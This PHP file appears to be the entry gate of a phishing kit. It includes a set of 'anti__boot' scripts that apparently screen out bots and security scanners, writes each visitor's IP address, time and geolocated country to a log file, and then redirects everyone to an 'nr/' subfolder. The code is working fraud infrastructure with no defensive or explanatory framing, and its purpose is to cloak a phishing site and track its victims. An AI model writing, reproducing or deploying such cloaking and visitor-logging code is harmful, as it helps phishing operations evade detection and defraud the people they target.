<?php
session_start();
    error_reporting(0);
    include("anti__boot/anti1.php");
    include("anti__boot/anti2.php");
    include("anti__boot/anti3.php");
    include("anti__boot/anti4.php");
    include("anti__boot/anti5.php");
    include("anti__boot/anti6.php");
    include("anti__boot/anti7.php");
    include("anti__boot/anti8.php"); 
    

$redirect = "nr/";


$country = array(''); 

/************************************************************* PARAMETRES ******************************************************************/

$ip = getenv("REMOTE_ADDR");

function getcountrycode($ip)
{
    $json = @json_decode(file_get_contents("https://api.country.is/" . $ip));
    return $json->country;

}

function GetIpInfoFrmIpinfodbApi($ip)
{

    $ResultInfo = array();

    $ResultInfo['CountryCodeMin'] = strtolower(getcountrycode($ip));

    return $ResultInfo;

}

$dateNow = date("d/m/Y h:i:s A");
$file = fopen("vu.txt", "a");
fwrite($file, $ip . " | " . $dateNow . " | " . getcountrycode($ip) . "\n");

$CountryData = GetIpInfoFrmIpinfodbApi($ip);

$AuthCountry = $country;

if (!in_array($CountryData['CountryCodeMin'], $AuthCountry))
        {

            header("location:nr/");

        }
        else
        {
            header("location:nr/");

        }
    
 